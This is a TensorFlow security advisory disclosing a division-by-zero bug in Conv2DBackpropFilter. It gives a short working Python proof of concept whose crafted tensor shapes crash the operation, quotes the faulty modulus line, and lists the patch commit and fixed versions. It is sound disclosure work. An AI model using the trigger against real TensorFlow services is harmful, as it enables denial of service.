Division by 0 in `Conv2DBackpropFilter`
### Impact
An attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropFilter`:
```python
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 0, 1, 0], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 0, 1, 1], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(input=input_tensor, filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 66, 18, 1], use_cudnn_on_gpu=True,
padding='SAME', explicit_paddings=[],
data_format='NHWC', dilations=[1, 1, 1, 1])
```
This is because the implementation
https://github.com/tensorflow/tensorflow/blob/496c2630e51c1a478f095b084329acedb253db6b/tensorflow/core/kernels/conv_grad_shape_utils.cc#L130 does a modulus operation where the divisor is controlled by the caller:
```cc
if (dims->in_depth % filter_shape.dim_size(num_dims - 2)) { ... }
```
### Patches
We have patched the issue in GitHub commit fca9874a9b42a2134f907d2fb46ab774a831404a
https://github.com/tensorflow/tensorflow/commit/fca9874a9b42a2134f907d2fb46ab774a831404a.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.